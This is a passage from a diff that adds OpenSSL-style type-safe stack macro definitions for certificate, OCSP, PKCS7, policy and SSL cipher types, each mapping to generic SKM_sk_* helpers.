(st)) + +#define sk_NAME_FUNCS_new(st) SKM_sk_new(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_new_null() SKM_sk_new_null(NAME_FUNCS) +#define sk_NAME_FUNCS_free(st) SKM_sk_free(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_num(st) SKM_sk_num(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_value(st, i) SKM_sk_value(NAME_FUNCS, (st), (i)) +#define sk_NAME_FUNCS_set(st, i, val) SKM_sk_set(NAME_FUNCS, (st), (i), (val)) +#define sk_NAME_FUNCS_zero(st) SKM_sk_zero(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_push(st, val) SKM_sk_push(NAME_FUNCS, (st), (val)) +#define sk_NAME_FUNCS_unshift(st, val) SKM_sk_unshift(NAME_FUNCS, (st), (val)) +#define sk_NAME_FUNCS_find(st, val) SKM_sk_find(NAME_FUNCS, (st), (val)) +#define sk_NAME_FUNCS_find_ex(st, val) SKM_sk_find_ex(NAME_FUNCS, (st), (val)) +#define sk_NAME_FUNCS_delete(st, i) SKM_sk_delete(NAME_FUNCS, (st), (i)) +#define sk_NAME_FUNCS_delete_ptr(st, ptr) SKM_sk_delete_ptr(NAME_FUNCS, (st), (ptr)) +#define sk_NAME_FUNCS_insert(st, val, i) SKM_sk_insert(NAME_FUNCS, (st), (val), (i)) +#define sk_NAME_FUNCS_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(NAME_FUNCS, (st), (cmp)) +#define sk_NAME_FUNCS_dup(st) SKM_sk_dup(NAME_FUNCS, st) +#define sk_NAME_FUNCS_pop_free(st, free_func) SKM_sk_pop_free(NAME_FUNCS, (st), (free_func)) +#define sk_NAME_FUNCS_shift(st) SKM_sk_shift(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_pop(st) SKM_sk_pop(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_sort(st) SKM_sk_sort(NAME_FUNCS, (st)) +#define sk_NAME_FUNCS_is_sorted(st) SKM_sk_is_sorted(NAME_FUNCS, (st)) + +#define sk_OCSP_CERTID_new(st) SKM_sk_new(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_new_null() SKM_sk_new_null(OCSP_CERTID) +#define sk_OCSP_CERTID_free(st) SKM_sk_free(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_num(st) SKM_sk_num(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_value(st, i) SKM_sk_value(OCSP_CERTID, (st), (i)) +#define sk_OCSP_CERTID_set(st, i, val) SKM_sk_set(OCSP_CERTID, (st), (i), (val)) +#define sk_OCSP_CERTID_zero(st) SKM_sk_zero(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_push(st, val) SKM_sk_push(OCSP_CERTID, (st), (val)) +#define sk_OCSP_CERTID_unshift(st, val) SKM_sk_unshift(OCSP_CERTID, (st), (val)) +#define sk_OCSP_CERTID_find(st, val) SKM_sk_find(OCSP_CERTID, (st), (val)) +#define sk_OCSP_CERTID_find_ex(st, val) SKM_sk_find_ex(OCSP_CERTID, (st), (val)) +#define sk_OCSP_CERTID_delete(st, i) SKM_sk_delete(OCSP_CERTID, (st), (i)) +#define sk_OCSP_CERTID_delete_ptr(st, ptr) SKM_sk_delete_ptr(OCSP_CERTID, (st), (ptr)) +#define sk_OCSP_CERTID_insert(st, val, i) SKM_sk_insert(OCSP_CERTID, (st), (val), (i)) +#define sk_OCSP_CERTID_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(OCSP_CERTID, (st), (cmp)) +#define sk_OCSP_CERTID_dup(st) SKM_sk_dup(OCSP_CERTID, st) +#define sk_OCSP_CERTID_pop_free(st, free_func) SKM_sk_pop_free(OCSP_CERTID, (st), (free_func)) +#define sk_OCSP_CERTID_shift(st) SKM_sk_shift(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_pop(st) SKM_sk_pop(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_sort(st) SKM_sk_sort(OCSP_CERTID, (st)) +#define sk_OCSP_CERTID_is_sorted(st) SKM_sk_is_sorted(OCSP_CERTID, (st)) + +#define sk_OCSP_ONEREQ_new(st) SKM_sk_new(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_new_null() SKM_sk_new_null(OCSP_ONEREQ) +#define sk_OCSP_ONEREQ_free(st) SKM_sk_free(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_num(st) SKM_sk_num(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_value(st, i) SKM_sk_value(OCSP_ONEREQ, (st), (i)) +#define sk_OCSP_ONEREQ_set(st, i, val) SKM_sk_set(OCSP_ONEREQ, (st), (i), (val)) +#define sk_OCSP_ONEREQ_zero(st) SKM_sk_zero(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_push(st, val) SKM_sk_push(OCSP_ONEREQ, (st), (val)) +#define sk_OCSP_ONEREQ_unshift(st, val) SKM_sk_unshift(OCSP_ONEREQ, (st), (val)) +#define sk_OCSP_ONEREQ_find(st, val) SKM_sk_find(OCSP_ONEREQ, (st), (val)) +#define sk_OCSP_ONEREQ_find_ex(st, val) SKM_sk_find_ex(OCSP_ONEREQ, (st), (val)) +#define sk_OCSP_ONEREQ_delete(st, i) SKM_sk_delete(OCSP_ONEREQ, (st), (i)) +#define sk_OCSP_ONEREQ_delete_ptr(st, ptr) SKM_sk_delete_ptr(OCSP_ONEREQ, (st), (ptr)) +#define sk_OCSP_ONEREQ_insert(st, val, i) SKM_sk_insert(OCSP_ONEREQ, (st), (val), (i)) +#define sk_OCSP_ONEREQ_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(OCSP_ONEREQ, (st), (cmp)) +#define sk_OCSP_ONEREQ_dup(st) SKM_sk_dup(OCSP_ONEREQ, st) +#define sk_OCSP_ONEREQ_pop_free(st, free_func) SKM_sk_pop_free(OCSP_ONEREQ, (st), (free_func)) +#define sk_OCSP_ONEREQ_shift(st) SKM_sk_shift(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_pop(st) SKM_sk_pop(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_sort(st) SKM_sk_sort(OCSP_ONEREQ, (st)) +#define sk_OCSP_ONEREQ_is_sorted(st) SKM_sk_is_sorted(OCSP_ONEREQ, (st)) + +#define sk_OCSP_RESPID_new(st) SKM_sk_new(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_new_null() SKM_sk_new_null(OCSP_RESPID) +#define sk_OCSP_RESPID_free(st) SKM_sk_free(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_num(st) SKM_sk_num(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_value(st, i) SKM_sk_value(OCSP_RESPID, (st), (i)) +#define sk_OCSP_RESPID_set(st, i, val) SKM_sk_set(OCSP_RESPID, (st), (i), (val)) +#define sk_OCSP_RESPID_zero(st) SKM_sk_zero(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_push(st, val) SKM_sk_push(OCSP_RESPID, (st), (val)) +#define sk_OCSP_RESPID_unshift(st, val) SKM_sk_unshift(OCSP_RESPID, (st), (val)) +#define sk_OCSP_RESPID_find(st, val) SKM_sk_find(OCSP_RESPID, (st), (val)) +#define sk_OCSP_RESPID_find_ex(st, val) SKM_sk_find_ex(OCSP_RESPID, (st), (val)) +#define sk_OCSP_RESPID_delete(st, i) SKM_sk_delete(OCSP_RESPID, (st), (i)) +#define sk_OCSP_RESPID_delete_ptr(st, ptr) SKM_sk_delete_ptr(OCSP_RESPID, (st), (ptr)) +#define sk_OCSP_RESPID_insert(st, val, i) SKM_sk_insert(OCSP_RESPID, (st), (val), (i)) +#define sk_OCSP_RESPID_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(OCSP_RESPID, (st), (cmp)) +#define sk_OCSP_RESPID_dup(st) SKM_sk_dup(OCSP_RESPID, st) +#define sk_OCSP_RESPID_pop_free(st, free_func) SKM_sk_pop_free(OCSP_RESPID, (st), (free_func)) +#define sk_OCSP_RESPID_shift(st) SKM_sk_shift(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_pop(st) SKM_sk_pop(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_sort(st) SKM_sk_sort(OCSP_RESPID, (st)) +#define sk_OCSP_RESPID_is_sorted(st) SKM_sk_is_sorted(OCSP_RESPID, (st)) + +#define sk_OCSP_SINGLERESP_new(st) SKM_sk_new(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_new_null() SKM_sk_new_null(OCSP_SINGLERESP) +#define sk_OCSP_SINGLERESP_free(st) SKM_sk_free(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_num(st) SKM_sk_num(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_value(st, i) SKM_sk_value(OCSP_SINGLERESP, (st), (i)) +#define sk_OCSP_SINGLERESP_set(st, i, val) SKM_sk_set(OCSP_SINGLERESP, (st), (i), (val)) +#define sk_OCSP_SINGLERESP_zero(st) SKM_sk_zero(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_push(st, val) SKM_sk_push(OCSP_SINGLERESP, (st), (val)) +#define sk_OCSP_SINGLERESP_unshift(st, val) SKM_sk_unshift(OCSP_SINGLERESP, (st), (val)) +#define sk_OCSP_SINGLERESP_find(st, val) SKM_sk_find(OCSP_SINGLERESP, (st), (val)) +#define sk_OCSP_SINGLERESP_find_ex(st, val) SKM_sk_find_ex(OCSP_SINGLERESP, (st), (val)) +#define sk_OCSP_SINGLERESP_delete(st, i) SKM_sk_delete(OCSP_SINGLERESP, (st), (i)) +#define sk_OCSP_SINGLERESP_delete_ptr(st, ptr) SKM_sk_delete_ptr(OCSP_SINGLERESP, (st), (ptr)) +#define sk_OCSP_SINGLERESP_insert(st, val, i) SKM_sk_insert(OCSP_SINGLERESP, (st), (val), (i)) +#define sk_OCSP_SINGLERESP_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(OCSP_SINGLERESP, (st), (cmp)) +#define sk_OCSP_SINGLERESP_dup(st) SKM_sk_dup(OCSP_SINGLERESP, st) +#define sk_OCSP_SINGLERESP_pop_free(st, free_func) SKM_sk_pop_free(OCSP_SINGLERESP, (st), (free_func)) +#define sk_OCSP_SINGLERESP_shift(st) SKM_sk_shift(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_pop(st) SKM_sk_pop(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_sort(st) SKM_sk_sort(OCSP_SINGLERESP, (st)) +#define sk_OCSP_SINGLERESP_is_sorted(st) SKM_sk_is_sorted(OCSP_SINGLERESP, (st)) + +#define sk_PKCS12_SAFEBAG_new(st) SKM_sk_new(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_new_null() SKM_sk_new_null(PKCS12_SAFEBAG) +#define sk_PKCS12_SAFEBAG_free(st) SKM_sk_free(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_num(st) SKM_sk_num(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_value(st, i) SKM_sk_value(PKCS12_SAFEBAG, (st), (i)) +#define sk_PKCS12_SAFEBAG_set(st, i, val) SKM_sk_set(PKCS12_SAFEBAG, (st), (i), (val)) +#define sk_PKCS12_SAFEBAG_zero(st) SKM_sk_zero(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_push(st, val) SKM_sk_push(PKCS12_SAFEBAG, (st), (val)) +#define sk_PKCS12_SAFEBAG_unshift(st, val) SKM_sk_unshift(PKCS12_SAFEBAG, (st), (val)) +#define sk_PKCS12_SAFEBAG_find(st, val) SKM_sk_find(PKCS12_SAFEBAG, (st), (val)) +#define sk_PKCS12_SAFEBAG_find_ex(st, val) SKM_sk_find_ex(PKCS12_SAFEBAG, (st), (val)) +#define sk_PKCS12_SAFEBAG_delete(st, i) SKM_sk_delete(PKCS12_SAFEBAG, (st), (i)) +#define sk_PKCS12_SAFEBAG_delete_ptr(st, ptr) SKM_sk_delete_ptr(PKCS12_SAFEBAG, (st), (ptr)) +#define sk_PKCS12_SAFEBAG_insert(st, val, i) SKM_sk_insert(PKCS12_SAFEBAG, (st), (val), (i)) +#define sk_PKCS12_SAFEBAG_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(PKCS12_SAFEBAG, (st), (cmp)) +#define sk_PKCS12_SAFEBAG_dup(st) SKM_sk_dup(PKCS12_SAFEBAG, st) +#define sk_PKCS12_SAFEBAG_pop_free(st, free_func) SKM_sk_pop_free(PKCS12_SAFEBAG, (st), (free_func)) +#define sk_PKCS12_SAFEBAG_shift(st) SKM_sk_shift(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_pop(st) SKM_sk_pop(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_sort(st) SKM_sk_sort(PKCS12_SAFEBAG, (st)) +#define sk_PKCS12_SAFEBAG_is_sorted(st) SKM_sk_is_sorted(PKCS12_SAFEBAG, (st)) + +#define sk_PKCS7_new(st) SKM_sk_new(PKCS7, (st)) +#define sk_PKCS7_new_null() SKM_sk_new_null(PKCS7) +#define sk_PKCS7_free(st) SKM_sk_free(PKCS7, (st)) +#define sk_PKCS7_num(st) SKM_sk_num(PKCS7, (st)) +#define sk_PKCS7_value(st, i) SKM_sk_value(PKCS7, (st), (i)) +#define sk_PKCS7_set(st, i, val) SKM_sk_set(PKCS7, (st), (i), (val)) +#define sk_PKCS7_zero(st) SKM_sk_zero(PKCS7, (st)) +#define sk_PKCS7_push(st, val) SKM_sk_push(PKCS7, (st), (val)) +#define sk_PKCS7_unshift(st, val) SKM_sk_unshift(PKCS7, (st), (val)) +#define sk_PKCS7_find(st, val) SKM_sk_find(PKCS7, (st), (val)) +#define sk_PKCS7_find_ex(st, val) SKM_sk_find_ex(PKCS7, (st), (val)) +#define sk_PKCS7_delete(st, i) SKM_sk_delete(PKCS7, (st), (i)) +#define sk_PKCS7_delete_ptr(st, ptr) SKM_sk_delete_ptr(PKCS7, (st), (ptr)) +#define sk_PKCS7_insert(st, val, i) SKM_sk_insert(PKCS7, (st), (val), (i)) +#define sk_PKCS7_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(PKCS7, (st), (cmp)) +#define sk_PKCS7_dup(st) SKM_sk_dup(PKCS7, st) +#define sk_PKCS7_pop_free(st, free_func) SKM_sk_pop_free(PKCS7, (st), (free_func)) +#define sk_PKCS7_shift(st) SKM_sk_shift(PKCS7, (st)) +#define sk_PKCS7_pop(st) SKM_sk_pop(PKCS7, (st)) +#define sk_PKCS7_sort(st) SKM_sk_sort(PKCS7, (st)) +#define sk_PKCS7_is_sorted(st) SKM_sk_is_sorted(PKCS7, (st)) + +#define sk_PKCS7_RECIP_INFO_new(st) SKM_sk_new(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_new_null() SKM_sk_new_null(PKCS7_RECIP_INFO) +#define sk_PKCS7_RECIP_INFO_free(st) SKM_sk_free(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_num(st) SKM_sk_num(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_value(st, i) SKM_sk_value(PKCS7_RECIP_INFO, (st), (i)) +#define sk_PKCS7_RECIP_INFO_set(st, i, val) SKM_sk_set(PKCS7_RECIP_INFO, (st), (i), (val)) +#define sk_PKCS7_RECIP_INFO_zero(st) SKM_sk_zero(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_push(st, val) SKM_sk_push(PKCS7_RECIP_INFO, (st), (val)) +#define sk_PKCS7_RECIP_INFO_unshift(st, val) SKM_sk_unshift(PKCS7_RECIP_INFO, (st), (val)) +#define sk_PKCS7_RECIP_INFO_find(st, val) SKM_sk_find(PKCS7_RECIP_INFO, (st), (val)) +#define sk_PKCS7_RECIP_INFO_find_ex(st, val) SKM_sk_find_ex(PKCS7_RECIP_INFO, (st), (val)) +#define sk_PKCS7_RECIP_INFO_delete(st, i) SKM_sk_delete(PKCS7_RECIP_INFO, (st), (i)) +#define sk_PKCS7_RECIP_INFO_delete_ptr(st, ptr) SKM_sk_delete_ptr(PKCS7_RECIP_INFO, (st), (ptr)) +#define sk_PKCS7_RECIP_INFO_insert(st, val, i) SKM_sk_insert(PKCS7_RECIP_INFO, (st), (val), (i)) +#define sk_PKCS7_RECIP_INFO_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(PKCS7_RECIP_INFO, (st), (cmp)) +#define sk_PKCS7_RECIP_INFO_dup(st) SKM_sk_dup(PKCS7_RECIP_INFO, st) +#define sk_PKCS7_RECIP_INFO_pop_free(st, free_func) SKM_sk_pop_free(PKCS7_RECIP_INFO, (st), (free_func)) +#define sk_PKCS7_RECIP_INFO_shift(st) SKM_sk_shift(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_pop(st) SKM_sk_pop(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_sort(st) SKM_sk_sort(PKCS7_RECIP_INFO, (st)) +#define sk_PKCS7_RECIP_INFO_is_sorted(st) SKM_sk_is_sorted(PKCS7_RECIP_INFO, (st)) + +#define sk_PKCS7_SIGNER_INFO_new(st) SKM_sk_new(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_new_null() SKM_sk_new_null(PKCS7_SIGNER_INFO) +#define sk_PKCS7_SIGNER_INFO_free(st) SKM_sk_free(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_num(st) SKM_sk_num(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_value(st, i) SKM_sk_value(PKCS7_SIGNER_INFO, (st), (i)) +#define sk_PKCS7_SIGNER_INFO_set(st, i, val) SKM_sk_set(PKCS7_SIGNER_INFO, (st), (i), (val)) +#define sk_PKCS7_SIGNER_INFO_zero(st) SKM_sk_zero(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_push(st, val) SKM_sk_push(PKCS7_SIGNER_INFO, (st), (val)) +#define sk_PKCS7_SIGNER_INFO_unshift(st, val) SKM_sk_unshift(PKCS7_SIGNER_INFO, (st), (val)) +#define sk_PKCS7_SIGNER_INFO_find(st, val) SKM_sk_find(PKCS7_SIGNER_INFO, (st), (val)) +#define sk_PKCS7_SIGNER_INFO_find_ex(st, val) SKM_sk_find_ex(PKCS7_SIGNER_INFO, (st), (val)) +#define sk_PKCS7_SIGNER_INFO_delete(st, i) SKM_sk_delete(PKCS7_SIGNER_INFO, (st), (i)) +#define sk_PKCS7_SIGNER_INFO_delete_ptr(st, ptr) SKM_sk_delete_ptr(PKCS7_SIGNER_INFO, (st), (ptr)) +#define sk_PKCS7_SIGNER_INFO_insert(st, val, i) SKM_sk_insert(PKCS7_SIGNER_INFO, (st), (val), (i)) +#define sk_PKCS7_SIGNER_INFO_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(PKCS7_SIGNER_INFO, (st), (cmp)) +#define sk_PKCS7_SIGNER_INFO_dup(st) SKM_sk_dup(PKCS7_SIGNER_INFO, st) +#define sk_PKCS7_SIGNER_INFO_pop_free(st, free_func) SKM_sk_pop_free(PKCS7_SIGNER_INFO, (st), (free_func)) +#define sk_PKCS7_SIGNER_INFO_shift(st) SKM_sk_shift(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_pop(st) SKM_sk_pop(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_sort(st) SKM_sk_sort(PKCS7_SIGNER_INFO, (st)) +#define sk_PKCS7_SIGNER_INFO_is_sorted(st) SKM_sk_is_sorted(PKCS7_SIGNER_INFO, (st)) + +#define sk_POLICYINFO_new(st) SKM_sk_new(POLICYINFO, (st)) +#define sk_POLICYINFO_new_null() SKM_sk_new_null(POLICYINFO) +#define sk_POLICYINFO_free(st) SKM_sk_free(POLICYINFO, (st)) +#define sk_POLICYINFO_num(st) SKM_sk_num(POLICYINFO, (st)) +#define sk_POLICYINFO_value(st, i) SKM_sk_value(POLICYINFO, (st), (i)) +#define sk_POLICYINFO_set(st, i, val) SKM_sk_set(POLICYINFO, (st), (i), (val)) +#define sk_POLICYINFO_zero(st) SKM_sk_zero(POLICYINFO, (st)) +#define sk_POLICYINFO_push(st, val) SKM_sk_push(POLICYINFO, (st), (val)) +#define sk_POLICYINFO_unshift(st, val) SKM_sk_unshift(POLICYINFO, (st), (val)) +#define sk_POLICYINFO_find(st, val) SKM_sk_find(POLICYINFO, (st), (val)) +#define sk_POLICYINFO_find_ex(st, val) SKM_sk_find_ex(POLICYINFO, (st), (val)) +#define sk_POLICYINFO_delete(st, i) SKM_sk_delete(POLICYINFO, (st), (i)) +#define sk_POLICYINFO_delete_ptr(st, ptr) SKM_sk_delete_ptr(POLICYINFO, (st), (ptr)) +#define sk_POLICYINFO_insert(st, val, i) SKM_sk_insert(POLICYINFO, (st), (val), (i)) +#define sk_POLICYINFO_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(POLICYINFO, (st), (cmp)) +#define sk_POLICYINFO_dup(st) SKM_sk_dup(POLICYINFO, st) +#define sk_POLICYINFO_pop_free(st, free_func) SKM_sk_pop_free(POLICYINFO, (st), (free_func)) +#define sk_POLICYINFO_shift(st) SKM_sk_shift(POLICYINFO, (st)) +#define sk_POLICYINFO_pop(st) SKM_sk_pop(POLICYINFO, (st)) +#define sk_POLICYINFO_sort(st) SKM_sk_sort(POLICYINFO, (st)) +#define sk_POLICYINFO_is_sorted(st) SKM_sk_is_sorted(POLICYINFO, (st)) + +#define sk_POLICYQUALINFO_new(st) SKM_sk_new(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_new_null() SKM_sk_new_null(POLICYQUALINFO) +#define sk_POLICYQUALINFO_free(st) SKM_sk_free(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_num(st) SKM_sk_num(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_value(st, i) SKM_sk_value(POLICYQUALINFO, (st), (i)) +#define sk_POLICYQUALINFO_set(st, i, val) SKM_sk_set(POLICYQUALINFO, (st), (i), (val)) +#define sk_POLICYQUALINFO_zero(st) SKM_sk_zero(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_push(st, val) SKM_sk_push(POLICYQUALINFO, (st), (val)) +#define sk_POLICYQUALINFO_unshift(st, val) SKM_sk_unshift(POLICYQUALINFO, (st), (val)) +#define sk_POLICYQUALINFO_find(st, val) SKM_sk_find(POLICYQUALINFO, (st), (val)) +#define sk_POLICYQUALINFO_find_ex(st, val) SKM_sk_find_ex(POLICYQUALINFO, (st), (val)) +#define sk_POLICYQUALINFO_delete(st, i) SKM_sk_delete(POLICYQUALINFO, (st), (i)) +#define sk_POLICYQUALINFO_delete_ptr(st, ptr) SKM_sk_delete_ptr(POLICYQUALINFO, (st), (ptr)) +#define sk_POLICYQUALINFO_insert(st, val, i) SKM_sk_insert(POLICYQUALINFO, (st), (val), (i)) +#define sk_POLICYQUALINFO_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(POLICYQUALINFO, (st), (cmp)) +#define sk_POLICYQUALINFO_dup(st) SKM_sk_dup(POLICYQUALINFO, st) +#define sk_POLICYQUALINFO_pop_free(st, free_func) SKM_sk_pop_free(POLICYQUALINFO, (st), (free_func)) +#define sk_POLICYQUALINFO_shift(st) SKM_sk_shift(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_pop(st) SKM_sk_pop(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_sort(st) SKM_sk_sort(POLICYQUALINFO, (st)) +#define sk_POLICYQUALINFO_is_sorted(st) SKM_sk_is_sorted(POLICYQUALINFO, (st)) + +#define sk_POLICY_MAPPING_new(st) SKM_sk_new(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_new_null() SKM_sk_new_null(POLICY_MAPPING) +#define sk_POLICY_MAPPING_free(st) SKM_sk_free(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_num(st) SKM_sk_num(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_value(st, i) SKM_sk_value(POLICY_MAPPING, (st), (i)) +#define sk_POLICY_MAPPING_set(st, i, val) SKM_sk_set(POLICY_MAPPING, (st), (i), (val)) +#define sk_POLICY_MAPPING_zero(st) SKM_sk_zero(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_push(st, val) SKM_sk_push(POLICY_MAPPING, (st), (val)) +#define sk_POLICY_MAPPING_unshift(st, val) SKM_sk_unshift(POLICY_MAPPING, (st), (val)) +#define sk_POLICY_MAPPING_find(st, val) SKM_sk_find(POLICY_MAPPING, (st), (val)) +#define sk_POLICY_MAPPING_find_ex(st, val) SKM_sk_find_ex(POLICY_MAPPING, (st), (val)) +#define sk_POLICY_MAPPING_delete(st, i) SKM_sk_delete(POLICY_MAPPING, (st), (i)) +#define sk_POLICY_MAPPING_delete_ptr(st, ptr) SKM_sk_delete_ptr(POLICY_MAPPING, (st), (ptr)) +#define sk_POLICY_MAPPING_insert(st, val, i) SKM_sk_insert(POLICY_MAPPING, (st), (val), (i)) +#define sk_POLICY_MAPPING_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(POLICY_MAPPING, (st), (cmp)) +#define sk_POLICY_MAPPING_dup(st) SKM_sk_dup(POLICY_MAPPING, st) +#define sk_POLICY_MAPPING_pop_free(st, free_func) SKM_sk_pop_free(POLICY_MAPPING, (st), (free_func)) +#define sk_POLICY_MAPPING_shift(st) SKM_sk_shift(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_pop(st) SKM_sk_pop(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_sort(st) SKM_sk_sort(POLICY_MAPPING, (st)) +#define sk_POLICY_MAPPING_is_sorted(st) SKM_sk_is_sorted(POLICY_MAPPING, (st)) + +#define sk_SSL_CIPHER_new(st) SKM_sk_new(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_new_null() SKM_sk_new_null(SSL_CIPHER) +#define sk_SSL_CIPHER_free(st) SKM_sk_free(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_num(st) SKM_sk_num(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_value(st, i) SKM_sk_value(SSL_CIPHER, (st), (i)) +#define sk_SSL_CIPHER_set(st, i, val) SKM_sk_set(SSL_CIPHER, (st), (i), (val)) +#define sk_SSL_CIPHER_zero(st) SKM_sk_zero(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_push(st, val) SKM_sk_push(SSL_CIPHER, (st), (val)) +#define sk_SSL_CIPHER_unshift(st, val) SKM_sk_unshift(SSL_CIPHER, (st), (val)) +#define sk_SSL_CIPHER_find(st, val) SKM_sk_find(SSL_CIPHER, (st), (val)) +#define sk_SSL_CIPHER_find_ex(st, val) SKM_sk_find_ex(SSL_CIPHER, (st), (val)) +#define sk_SSL_CIPHER_delete(st, i) SKM_sk_delete(SSL_CIPHER, (st), (i)) +#define sk_SSL_CIPHER_delete_ptr(st, ptr) SKM_sk_delete_ptr(SSL_CIPHER, (st), (ptr)) +#define sk_SSL_CIPHER_insert(st, val, i) SKM_sk_insert(SSL_CIPHER, (st), (val), (i)) +#define sk_SSL_CIPHER_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(SSL_CIPHER, (st), (cmp)) +#define sk_SSL_CIPHER_dup(st) SKM_sk_dup(SSL_CIPHER, st) +#define sk_SSL_CIPHER_pop_free(st, free_func) SKM_sk_pop_free(SSL_CIPHER, (st), (free_func)) +#define sk_SSL_CIPHER_shift(st) SKM_sk_shift(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_pop(st) SKM_sk_pop(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_sort(st) SKM_sk_sort(SSL_CIPHER, (st)) +#define sk_SSL_CIPHER_is_sorted(st) SKM_sk_is_sorted(SSL_CIPHER, (st)) + +#define sk_SSL_COMP_new(st) SKM_sk_new(SSL_COMP, (st)) +#define sk_SSL_COMP_new_null() SKM_sk_new_null(SSL_COMP) +#define sk_SSL_COMP_free(st) SKM_sk_free(SSL_COMP, (st)) +#define sk_SSL_COMP_num(st) SKM_sk_num(SSL_COMP, (st)) +#define sk_SSL_COMP_value(st, i) SKM_sk_value(SSL_COMP, (st), (i)) +#define sk_SSL_COMP_set(st, i, val) SKM_sk_set(SSL_COMP, (st), (i), (val)) +#define sk_SSL_COMP_zero(st) SKM_sk_zero(SSL_COMP, (st)) +#define sk_SSL_COMP_push(st, val) SKM_sk_push(SSL_COMP, (st), (val)) +#define sk_SSL_COMP_unshift(st, val) SKM_sk_unshift(SSL_COMP, (st), (val)) +#define sk_SSL_COMP_find(st, val) SKM_sk_find(SSL_COMP, (st), (val)) +#define sk_SSL_COMP_find_ex(st, val) SKM_sk_find_ex(SSL_COMP, (st), (val)) +#define sk_SSL_COMP_delete(st, i) SKM_sk_delete(SSL_COMP, (st), (i)) +#define sk_SSL_COMP_delete_ptr(st, ptr) SKM_sk_delete_ptr(SSL_COMP, (st), (ptr)) +#define sk_SSL_COMP_insert(st, val, i) SKM_sk_insert(SSL_COMP, (st), (val), (i)) +#define sk_SSL_COMP_set_cmp_func(st, cmp) SKM_sk_set_cmp_func(SSL_COMP, (st), (cmp)) +#define sk_SSL_COMP_dup(st) SKM_sk_dup(SSL_COMP, st) +#define sk_SSL_COMP_pop_free(st, free_func) SKM_sk_pop_free(SSL_COMP, (st), (free_func)) +#define sk_SSL_COMP_shift(st) SKM_sk_shift(SSL_COMP, (st)) +#define 